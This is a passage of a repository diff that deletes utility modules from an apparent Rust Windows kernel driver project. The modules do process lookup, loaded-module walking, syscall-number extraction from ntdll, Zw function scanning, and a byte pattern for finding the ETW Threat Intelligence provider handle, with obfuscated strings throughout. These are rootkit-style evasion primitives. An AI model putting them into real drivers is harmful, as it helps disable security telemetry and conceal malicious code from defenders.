let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
|
||||
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemProcessInformation,
|
||||
info_process as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status));
|
||||
}
|
||||
|
||||
let mut process_info = info_process;
|
||||
|
||||
loop {
|
||||
if !(*process_info).ImageName.Buffer.is_null() {
|
||||
let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(image_name);
|
||||
if name == process_name {
|
||||
let pid = (*process_info).UniqueProcessId as usize;
|
||||
return Ok(pid);
|
||||
}
|
||||
}
|
||||
|
||||
if (*process_info).NextEntryOffset == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||
}
|
||||
|
||||
Err(ShadowError::ProcessNotFound(process_name.to_string()))
|
||||
}
|
||||
|
||||
|
||||
/// Validates if the given address is within the kernel memory range.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `bool` - True if the address is within the kernel memory range, False otherwise.
|
||||
pub fn valid_kernel_memory(addr: u64) -> bool {
|
||||
addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF
|
||||
}
|
||||
|
||||
/// Validates if the given address is within the user memory range.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `bool` - True if the address is within the user memory range, False otherwise.
|
||||
pub fn valid_user_memory(addr: u64) -> bool {
|
||||
addr > 0 && addr < 0x7FFFFFFFFFFFFFFF
|
||||
}
|
||||
|
||||
/// Responsible for returning information on the modules loaded.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
|
||||
///
|
||||
pub fn list_modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32), ShadowError> {
|
||||
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
|
||||
let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY };
|
||||
|
||||
if func.is_null() {
|
||||
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"))
|
||||
}
|
||||
|
||||
let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||
let mut module_count = 0;
|
||||
|
||||
let start_entry = list_entry;
|
||||
while !list_entry.is_null() && list_entry != func {
|
||||
module_count += 1;
|
||||
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
|
||||
}
|
||||
|
||||
Ok((start_entry, module_count))
|
||||
}
|
||||
|
||||
/// Initializes the `OBJECT_ATTRIBUTES` structure.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `object_name` - An optional pointer to a `UNICODE_STRING` representing the name of the object.
|
||||
/// If `None`, the object name is set to `null_mut()`.
|
||||
/// * `attributes` - A `u32` representing the attributes of the object (e.g., `OBJ_CASE_INSENSITIVE`, `OBJ_KERNEL_HANDLE`).
|
||||
/// * `root_directory` - An optional pointer to a root directory. If the object resides in a directory,
|
||||
/// this pointer represents the root directory. If `None`, it is set to `null_mut()`.
|
||||
/// * `security_descriptor` - An optional pointer to a security descriptor that defines
|
||||
/// access control. If `None`, it is set to `null_mut()`.
|
||||
/// * `security_quality_of_service` - An optional pointer to a security quality of service structure.
|
||||
/// If `None`, it is set to `null_mut()`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
|
||||
/// If optional arguments are not provided, their corresponding fields are set to `null_mut()`.
|
||||
#[allow(non_snake_case)]
|
||||
pub fn InitializeObjectAttributes(
|
||||
object_name: Option<*mut UNICODE_STRING>,
|
||||
attributes: u32,
|
||||
root_directory: Option<*mut c_void>,
|
||||
security_descriptor: Option<*mut c_void>,
|
||||
security_quality_of_service: Option<*mut c_void>
|
||||
) -> OBJECT_ATTRIBUTES {
|
||||
OBJECT_ATTRIBUTES {
|
||||
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
|
||||
RootDirectory: root_directory.unwrap_or(null_mut()),
|
||||
ObjectName: object_name.unwrap_or(null_mut()),
|
||||
Attributes: attributes,
|
||||
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
|
||||
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut())
|
||||
}
|
||||
}
|
||||
@@ -1,218 +0,0 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
crate::error::ShadowError,
|
||||
wdk_sys::{
|
||||
ntddk::*,
|
||||
*,
|
||||
_SECTION_INHERIT::ViewUnmap
|
||||
},
|
||||
core::{
|
||||
ffi::CStr,
|
||||
ptr::{null_mut, read},
|
||||
slice::from_raw_parts,
|
||||
ffi::c_void
|
||||
},
|
||||
super::{
|
||||
address::get_module_base_address,
|
||||
InitializeObjectAttributes,
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||
}
|
||||
};
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `function_address` - The base address (in `usize` format) from which the scan should start.
|
||||
/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||
/// * `offset` - Offset from the pattern position where the i32 value starts.
|
||||
/// * `final_offset` - The final offset applied to the resulting address.
|
||||
/// * `size` - The size of the memory to scan.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32.
|
||||
/// * `Err(ShadowError)` - Error if pattern not found or conversion fails.
|
||||
pub unsafe fn scan_for_pattern(
|
||||
function_address: *mut c_void,
|
||||
pattern: &[u8],
|
||||
offset: usize,
|
||||
final_offset: isize,
|
||||
size: usize,
|
||||
) -> Result<*mut u8, ShadowError> {
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size);
|
||||
|
||||
if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) {
|
||||
let position = x + offset;
|
||||
|
||||
// Converting the slice starting at the position to i32 (little-endian)
|
||||
let offset_bytes = &function_bytes[position..position + 4];
|
||||
let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?);
|
||||
|
||||
// Calculating the final address
|
||||
let address = function_address.cast::<u8>().add(x);
|
||||
let next_address = address.offset(final_offset);
|
||||
|
||||
// Returning the final address adjusted by the found offset
|
||||
Ok(next_address.offset(offset as isize))
|
||||
} else {
|
||||
Err(ShadowError::PatternNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the syscall index for a given function name.
|
||||
///
|
||||
/// This function loads the `ntdll.dll` section and maps its export table to find the specified function.
|
||||
/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found.
|
||||
/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails.
|
||||
pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16, ShadowError> {
|
||||
let mut section_handle = null_mut();
|
||||
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenSection", status))
|
||||
}
|
||||
|
||||
// Map ntdll.dll to memory and retrieve the address
|
||||
let mut large: LARGE_INTEGER = core::mem::zeroed();
|
||||
let mut ntdll_addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut ntdll_addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
ZwClose(section_handle);
|
||||
return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status));
|
||||
}
|
||||
|
||||
// Locate export directory, names, and functions for syscall extraction
|
||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let ntdll_addr = ntdll_addr as usize;
|
||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
// Search for the function by name and extract the syscall number (SSN)
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8)
|
||||
.to_str()
|
||||
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
|
||||
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||
if name == function_name && read(address) == 0x4C
|
||||
&& read(address.add(1)) == 0x8B
|
||||
&& read(address.add(2)) == 0xD1
|
||||
&& read(address.add(3)) == 0xB8
|
||||
&& read(address.add(6)) == 0x00
|
||||
&& read(address.add(7)) == 0x00
|
||||
{
|
||||
let high = read(address.add(5)) as u16;
|
||||
let low = read(address.add(4)) as u16;
|
||||
let ssn = (high << 8) | low;
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return Ok(ssn);
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
|
||||
Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!()))
|
||||
}
|
||||
|
||||
/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `name` - The name of the Zw function to find.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found.
|
||||
/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs.
|
||||
/// It should be used with caution in kernel mode to prevent system instability.
|
||||
pub unsafe fn find_zw_function(name: &str) -> Result<usize, ShadowError> {
|
||||
let ssn = get_syscall_index(name)?;
|
||||
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
||||
|
||||
let ssn_bytes = ssn.to_le_bytes();
|
||||
ZW_PATTERN[21] = ssn_bytes[0];
|
||||
ZW_PATTERN[22] = ssn_bytes[1];
|
||||
|
||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||
|
||||
// Scan the `.text` section for the matching pattern
|
||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||
let section = (*section_header.add(i)).Name;
|
||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||
|
||||
if name == obfstr!(".text") {
|
||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
|
||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||
|
||||
// Search for the Zw function by matching the pattern
|
||||
if let Some(offset) = data.windows(ZW_PATTERN.len())
|
||||
.position(|window| {
|
||||
window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
|
||||
}) {
|
||||
|
||||
return Ok(text_start + offset);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!()))
|
||||
}
|
||||
|
||||
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
|
||||
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
|
||||
pub const ETWTI_PATTERN: [u8; 5] = [
|
||||
0x33, 0xD2, // 33d2 xor edx,edx
|
||||
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
|
||||
];
|
||||
|
||||
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
|
||||
/// identifying system service routines within the Windows kernel.
|
||||
pub static mut ZW_PATTERN: [u8; 30] = [
|
||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
||||
0xFA, // cli
|
||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
||||
0x50, // push rax
|
||||
0x9C, // pushfq
|
||||
0x6A, 0x10, // push 10h
|
||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
||||
0x50, // push rax
|
||||
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
|
||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||
];
|
||||
@@ -1,63 +0,0 @@
|
||||
use core::ffi::c_void;
|
||||
use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
|
||||
|
||||
/// A wrapper around memory allocated from the pool in the Windows kernel.
|
||||
///
|
||||
/// This struct provides a safe abstraction over memory allocated from the kernel pool.
|
||||
/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out
|
||||
/// of scope, by calling `ExFreePool` in its `Drop` implementation.
|
||||
pub struct PoolMemory {
|
||||
/// A raw pointer to the allocated pool memory.
|
||||
pub ptr: *mut c_void,
|
||||
}
|
||||
|
||||
impl PoolMemory {
|
||||
/// Allocates memory from the Windows kernel pool.
|
||||
///
|
||||
/// This function uses `ExAllocatePool2` to allocate a block of memory from the Windows kernel
|
||||
/// pool. It returns `None` if the allocation fails, or `Some(PoolMemory)` if successful.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `flag` - Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. This determines
|
||||
/// characteristics such as whether the memory is paged or non-paged.
|
||||
/// * `number_of_bytes` - The size of the memory block to allocate, in bytes.
|
||||
/// * `tag` - A tag (typically a 4-character identifier) used to identify the allocation in kernel memory tracking.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Some` - If the memory allocation is successful, an instance of `PoolMemory` is returned to manage the memory.
|
||||
/// * `None` - If the memory allocation fails, indicating insufficient memory or other issues.
|
||||
///
|
||||
/// # Examples
|
||||
/// ```rust
|
||||
/// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, u32::from_be_bytes(*b"tag"));
|
||||
/// if let Some(mem) = pool_mem {
|
||||
/// // Use allocated memory...
|
||||
/// } else {
|
||||
/// println!("Memory allocation failed");
|
||||
/// }
|
||||
/// ```
|
||||
#[inline]
|
||||
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
|
||||
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
|
||||
if ptr.is_null() {
|
||||
None
|
||||
} else {
|
||||
Some(Self { ptr })
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for PoolMemory {
|
||||
/// Frees the allocated pool memory when the `PoolMemory` instance is dropped.
|
||||
///
|
||||
/// This method is automatically called when the `PoolMemory` goes out of scope. It ensures that
|
||||
/// the memory allocated with `ExAllocatePool2` is properly freed using `ExFreePool`, unless
|
||||
/// the pointer is null.
|
||||
fn drop(&mut self) {
|
||||
if !self.ptr.is_null() {
|
||||
unsafe { ExFreePool(self.ptr) };
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, PRKPROCESS};
|
||||
|
||||
/// A wrapper for managing the attachment to a process context in the Windows kernel.
|
||||
///
|
||||
/// This struct provides a safe abstraction for attaching to the context of a target process using
|
||||
/// `KeStackAttachProcess` and ensures that the process is properly detached when no longer needed
|
||||
/// (either manually or automatically when it goes out of scope).
|
||||
///
|
||||
/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process
|
||||
/// if still attached.
|
||||
pub struct ProcessAttach {
|
||||
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
|
||||
apc_state: KAPC_STATE,
|
||||
/// Indicates whether the process is currently attached.
|
||||
attached: bool,
|
||||
}
|
||||
|
||||
impl ProcessAttach {
|
||||
/// Attaches to the context of a target process.
|
||||
///
|
||||
/// This function attaches the current thread to the address space of the specified
|
||||
/// process using `KeStackAttachProcess`. This allows the current thread to operate within
|
||||
/// the target process context.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A new `ProcessAttach` instance representing the attached process context.
|
||||
#[inline]
|
||||
pub fn new(target_process: PRKPROCESS) -> Self {
|
||||
let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() };
|
||||
|
||||
unsafe {
|
||||
KeStackAttachProcess(target_process, &mut apc_state);
|
||||
}
|
||||
|
||||
Self {
|
||||
apc_state,
|
||||
attached: true,
|
||||
}
|
||||
}
|
||||
|
||||
/// Manually detaches from the process context.
|
||||
///
|
||||
/// This method can be called to explicitly detach the current thread from the target process's
|
||||
/// address space, if it was previously attached.
|
||||
#[inline]
|
||||
pub fn detach(&mut self) {
|
||||
if self.attached {
|
||||
unsafe {
|
||||
KeUnstackDetachProcess(&mut self.apc_state);
|
||||
}
|
||||
self.attached = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ProcessAttach {
|
||||
/// Automatically detaches from the process context when the `ProcessAttach` instance is dropped.
|
||||
///
|
||||
/// This method ensures that the current thread is detached from the target process's address space
|
||||
/// when the `ProcessAttach` object goes out of scope. If the process is still attached when `drop`
|
||||
/// is called, it will be safely detached using `KeUnstackDetachProcess`.
|
||||
fn drop(&mut self) {
|
||||
// If it is still attached, it unattaches when it leaves the scope.
|
||||
if self.attached {
|
||||
unsafe {
|
||||
KeUnstackDetachProcess(&mut self.apc_state);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
use alloc::vec::Vec;
|
||||
use wdk_sys::UNICODE_STRING;
|
||||
|
||||
/// A wrapper around a `Vec<u16>` representing a Unicode string.
|
||||
///
|
||||
/// This struct encapsulates a Unicode string, stored as a `Vec<u16>`, that is compatible
|
||||
/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly
|
||||
/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`.
|
||||
#[derive(Default)]
|
||||
pub struct OwnedUnicodeString {
|
||||
/// The internal buffer holding the wide (UTF-16) string, including the null terminator.
|
||||
buffer: Vec<u16>,
|
||||
/// A marker to indicate that this struct cannot be moved once pinned.
|
||||
/// This ensures that the memory address of the buffer remains valid for the lifetime of the
|
||||
/// `UNICODE_STRING`.
|
||||
_phantompinned: core::marker::PhantomPinned,
|
||||
}
|
||||
|
||||
impl OwnedUnicodeString {
|
||||
/// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs.
|
||||
///
|
||||
/// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`.
|
||||
/// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent
|
||||
/// the size of the string (in bytes) excluding and including the null terminator, respectively.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
|
||||
pub fn to_unicode(&self) -> UNICODE_STRING {
|
||||
// The length is the size of the string in bytes, excluding the null terminator.
|
||||
// MaximumLength includes the null terminator.
|
||||
UNICODE_STRING {
|
||||
Length: ((self.buffer.len() * size_of::<u16>()) - 2) as u16,
|
||||
MaximumLength: (self.buffer.len() * size_of::<u16>()) as u16,
|
||||
Buffer: self.buffer.as_ptr() as *mut u16,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Converts a Rust `&str` to an `OwnedUnicodeString`.
|
||||
///
|
||||
/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it
|
||||
/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`,
|
||||
/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `str` - A reference to the Rust string slice to be converted.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `OwnedUnicodeString` - A structure containing the wide (UTF-16) representation of the input string.
|
||||
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
|
||||
// Convert the rust string to a wide string
|
||||
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
|
||||
|
||||
// Null terminate the string
|
||||
wide_string.push(0);
|
||||
|
||||
OwnedUnicodeString {
|
||||
buffer: wide_string,
|
||||
_phantompinned: core::marker::PhantomPinned,
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user